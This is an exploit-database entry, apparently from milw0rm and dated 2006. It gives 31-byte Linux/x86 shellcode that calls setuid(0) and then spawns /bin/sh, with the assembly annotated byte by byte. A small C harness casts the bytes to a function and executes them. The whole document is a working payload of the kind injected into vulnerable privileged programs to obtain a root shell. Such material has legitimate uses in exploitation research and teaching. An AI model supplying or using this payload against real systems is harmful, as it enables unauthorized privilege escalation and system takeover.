linux/x86 setuid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 31 bytes

/* * (Linux/x86) setuid(0) + execve("/bin/sh", ["/bin/sh", NULL]) * - 31 bytes * - xgc@gotfault.net * */ char shellcode[] = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" // int $0x80 "\x31\xd2" // xor %edx, %edx "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp, %ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp, %ecx "\xcd\x80"; // int $0x80 int main() { int (*f)() = (int(*)())shellcode; printf("Length: %u\n", strlen(shellcode)); f(); } // milw0rm.com [2006-04-03]